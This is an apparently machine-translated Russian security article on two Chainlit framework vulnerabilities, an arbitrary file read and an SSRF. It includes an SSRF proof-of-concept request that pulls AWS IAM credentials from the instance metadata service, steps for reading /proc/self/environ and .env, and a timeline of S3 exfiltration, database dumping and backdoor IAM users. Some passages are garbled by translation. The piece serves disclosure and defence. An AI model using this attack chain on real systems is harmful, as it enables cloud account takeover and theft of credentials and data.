Фреймворк с открытым исходным кодом для ИИ : Фреймворк для ИИ Chainlit Анализ влияния портфеля уязвимостей ChainLeak

ChainLeak, высокорискованная уязвимость в фреймворке Chainlit, включая принцип произвольного чтения файлов и уязвимость SSRF, демонстрацию атаки и рекомендации по защите для специалистов по безопасности ИИ и команд безопасности предприятий.

I. Принципы уязвимости

1.1 Обзор системы Chainlit Framework

Chainlit - популярная программа с открытым исходным кодом для создания разговорных чат-ботов.Система искусственного интеллектаPython стал важным инструментом для создания LLM-приложений. Согласно статистике Python Software Foundation:

  • Еженедельные загрузки:: Более 220 000 раз
  • Кумулятивные загрузки:: Более 7,3 млн.
  • основное приложение:: Быстрая разработка генеративных приложений ИИ, чат-интерфейс LLM, разработка агентских систем
  • Основные характеристики: Обеспечение веб-интерфейса, управление сообщениями, управление сеансами, загрузка файлов и т.д.

Основная архитектура фреймворка Chainlit включает в себя:

  • Фронтальный веб-интерфейс (на основе React)
  • Внутренние службы Flask/FastAPI
  • Уровень данных SQLAlchemy ORM
  • Модуль обработки и загрузки файлов
  • Система управления проектами и сессиями

Фреймворк с открытым исходным кодом для ИИ : Фреймворк для ИИ Chainlit Анализ влияния портфеля уязвимостей ChainLeak

Из-за высокой простоты использования и повсеместного внедрения уязвимости в безопасности фреймворка Chainlit имеют огромное значение.

1.2 Уязвимость ChainLeakкомбинаторика

Команда исследователей Zafran Security обнаружила и ответственно раскрыла две опасные уязвимости, известные под общим названием "ChainLeak" в 2025 году:

Номер уязвимости Оценка по шкале CVSS Тип уязвимости серьезность
CVE-2026-22218 7.1 Произвольное чтение файлов высокий риск
CVE-2026-22219 8.3 SSRF (подделка запросов на стороне сервера) чрезвычайно высокий риск

Ключевая особенность этих двух уязвимостей заключается в следующем:

  1. Обход аутентификации:: Требуется аутентифицированный злоумышленник, но его можно получить с помощью социального работника или слабого пароля.
  2. комбо-атака:: Две уязвимости могут быть использованы в тандеме, чтобы вызвать цепь событий.
  3. кража данных: Может привести к утечке ключей API, учетных данных, исходного кода.
  4. Повышение привилегий:: Прорыв от уровня приложений к уровню инфраструктуры
  5. траверс:: Устойчивое проникновение в сети организаций-жертв

1.3 Затрагиваемые сценарии развертывания

Фреймворк Chainlit обычно используется в следующих средах развертывания:

Фреймворк с открытым исходным кодом для ИИ : Фреймворк для ИИ Chainlit Анализ влияния портфеля уязвимостей ChainLeak

В частности, риски наиболее высоки при следующих сценариях:

  • облачное развертывание: AWS EC2/ECS, Azure App Service, Google Cloud Run
  • конфиденциальные данные: Интеграция ключа API OpenAI, учетных данных базы данных, ключа внутреннего сервиса
  • Бэкэнд SQLAlchemy: Развертывание с использованием SQLite в качестве базы данных
  • слабый контроль доступа:: Неспособность внедрить строгие механизмы аутентификации

II. Подробный анализ уязвимостей

2.1 CVE-2026-22218: Уязвимость произвольного чтения файлов

Принципы уязвимости

затронутая конечная точка: /project/element Процесс обновления
первопричина:: Отсутствие проверки ввода для полей управления пользователя
условие срабатывания:: Аутентифицированные злоумышленники

Процесс нападения.

Фреймворк с открытым исходным кодом для ИИ : Фреймворк для ИИ Chainlit Анализ влияния портфеля уязвимостей ChainLeak

Для этого исследователи прочитали /proc/self/environ Успешно извлечено:

  • Ключ API OpenAI
  • строка подключения к базе данных
  • Учетные данные доступа к AWS
  • Сторонние ключи обслуживания
  • Адрес внутренней конечной точки API

2.2 CVE-2026-22219. Уязвимость SSRF

Принципы уязвимости

затронутая конечная точка: /project/element Процесс обновления (SQLAlchemy Backend)
первопричина: URL-адрес, введенный пользователем, не прошел проверку подлинности
условие срабатыванияАутентифицированный злоумышленник + конфигурация бэкенда SQLAlchemy
Оценка по шкале CVSS: 8.3 (очень высокий риск)

Процесс атаки SSRF.

Фреймворк с открытым исходным кодом для ИИ : Фреймворк для ИИ Chainlit Анализ влияния портфеля уязвимостей ChainLeak

В тестовой среде злоумышленник может попытаться получить доступ:

цели адрес использовать экспозиции
Метаданные AWS http://169.254.169.254/latest/meta-data Получение роли IAM очень высокий
Учетные данные безопасности AWS http://169.254.169.254/…/security-credentials/ временный ключ очень высокий
Google GCP http://metadata.google.internal/... Учетная запись службы GCP очень высокий
Внутренняя база данных http://db.internal:5432 Сканирование базы данных ваш (почетный)
Кэш Redis http://redis.internal:6379 отравление кэша ваш (почетный)
внутренний API http://api.internal:8080/admin Повышение привилегий ваш (почетный)

Уязвимость наиболее опасна, когда Chainlit работает на облачном сервере (например, AWS):

# Шаг 1: Получение имени роли IAM

GET /proc/self/environ → чтение переменных окружения из Chainlit

                        → Узнайте информацию об экземпляре EC2

# Шаг 2: Доступ к метаданным через SSRF

POST /project/element → {url: "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}.

                        → Сервер Chainlit отправляет запрос от имени злоумышленника

# Шаг 3: Получение временных учетных данных AWS

Ответ.

{

  "AccessKeyId": "ASIAXXX...",

  "SecretAccessKey": "...",

  "SessionToken": "...",

  "Срок действия": "...".

}

# Шаг 4: Использование учетных данных для доступа к ресурсам AWS

aws s3 ls -access-key ASIAXXX... -secret-key ...

aws rds describe-db-instances

aws ec2 describe-instances

Влияние уязвимости:

  • Утечка содержимого ведра хранилища S3
  • Управляемая база данных RDS
  • Захват критически важных бизнес-систем
  • Полное выпадение аккаунта AWS

2.3 Атаки на цепочку уязвимостей

Совместное использование этих двух эксплойтов создает еще более мощную и разрушительную силу:

Процесс атаки по цепочке уязвимостей.

Фреймворк с открытым исходным кодом для ИИ : Фреймворк для ИИ Chainlit Анализ влияния портфеля уязвимостей ChainLeak

"Эти две уязвимости в Chainlit могут быть использованы в комбинации для компрометации конфиденциальных данных, повышения привилегий и перемещения внутри системы. Как только злоумышленник получает доступ на чтение к произвольным файлам на сервере, онИИПосле этого безопасность приложения быстро нарушается".

III. Демонстрация уязвимостей и атак

3.1 CVE-2026-22218 Чтение POC из любого файла

Роб

3.2 CVE-2026-22219 SSRF Vulnerability POC

Демонстрация HTTP-запроса

# Шаг 1: Войдите в приложение Chainlit

# Шаг 2: Получение учетных данных безопасности AWS

POST /api/project/element HTTP/1.1

Хост: vulnerable-chainlit.app.com

Авторизация: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Content-Type: application/json

{

  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/my-instance-profile- роль",

  "method": "GET"

}

# Ответ: 200 OK

{

  "статус": 200.

  "content":"{\"Code\":\"Success\",\ "LastUpdated\":\"2025-12-10T12:00:00Z\",\"Type\":\ "AWS-HMAC\",\"AccessKeyId\":\"ASIAXXXXXXXXXXX\",\ "SecretAccessKey\":\"pLWXXXXXXXXXXXXXXXXXXXXXXXXX\",\"Token\":\ "AQoDYXdzEPT//wXXXXXXXXXXXX...\",\"Expiration\":\"2025-12- 10T18:00:00Z\"}",

  "хранится": верно,

  "session_id": "sess_def456"

}

3.3 Демонстрация реальных сценариев атак

взять:: Атака на приложение Chainlit, развернутое на AWS

Временные рамки.

Минута T+0: Злоумышленники получают доступ к учетным записям со слабым паролем (admin/admin123)

        └─ Социальные работники с помощью фишинговых писем

T+2 мин: Чтение /proc/self/environ с CVE-2026-22218

        └─ Получение: AWS_ACCESS_KEY_ID, DATABASE_URL, OPENAI_API_KEY

T+4 минуты: Чтение файлов .env

        └─ Получение: пароль базы данных, другие ключи API

T+6 мин: Доступ к метаданным AWS через SSRF с использованием CVE-2026-22219

        └─ Цель: http://169.254.169.254/latest/meta-data/iam/security-credentials/

Т+8 минут: Получение временных учетных данных безопасности AWS

        └─ AccessKeyId, SecretAccessKey, SessionToken, Expiration

T+10 мин: Настройка AWS CLI на использование приобретенных учетных данных

         └─ aws configure -access-key XXXX -secret-key YYYY

T+12 минут: Перечислите все ведра хранения S3 в организации

         └─ aws s3 ls

T+15 мин: Загрузка конфиденциальных данных (исходный код, конфигурация, пользовательские данные) из S3

         └─ aws s3 cp s3://prod-backups/ . /backups/ -recursive

T+20 минут: доступ к базе данных RDS

         └─ Экспорт таблиц пользователей, форм заказов, конфиденциальных данных клиентов

Т+25 минут: Поиск и доступ к другим ресурсам AWS

         └─ Лямбда-функции, DynamoDB, управление ключами, CloudFormation

T+30 минут: Создание учетных записей бэкдоров и механизмов стойкости

         └─ Создание нового пользователя IAM, Добавление ключа, Изменение группы безопасности

Т+45 минут: полное падение

         └─ Злоумышленники могут получить долгосрочный контроль над AWS-средой жертвы.

IV. Рекомендуемые программы защиты

аварийный ремонт

  1. Обновление до версии 2.9.4 и выше

pip install -upgrade chainlit>=2.9.4

  1. проверка версии

python -c "import chainlit; print(chainlit.__version__)"

# Требуется >= 2.9.4

Фреймворк с открытым исходным кодом для ИИ : Фреймворк для ИИ Chainlit Анализ влияния портфеля уязвимостей ChainLeak

V. Справочные цитаты

источник (информации и т.д.)

[1] нвд - cve-2026-22218
https://nvd.nist.gov/vuln/detail/CVE-2026-22218

[2] нвд - cve-2026-22219
https://nvd.nist.gov/vuln/detail/CVE-2026-22219

[3] Zafran Security - обнаружение уязвимости ChainLeak
https://www.zafransecurity.com/chainlit-vulnerabilities

[4] Официальная документация Chainlit
https://docs.chainlit.io/get-started/overview

Оригинальная статья написана Chief Security Officer, при воспроизведении просьба указывать: https://www.cncso.com/ru/chainlit-ai-framework-data-leakage.html.

Например, (0)
Предыдущий 18 января 2026 дп9:46
Следующий 26 января 2026 г. пп9:16

связанное предложение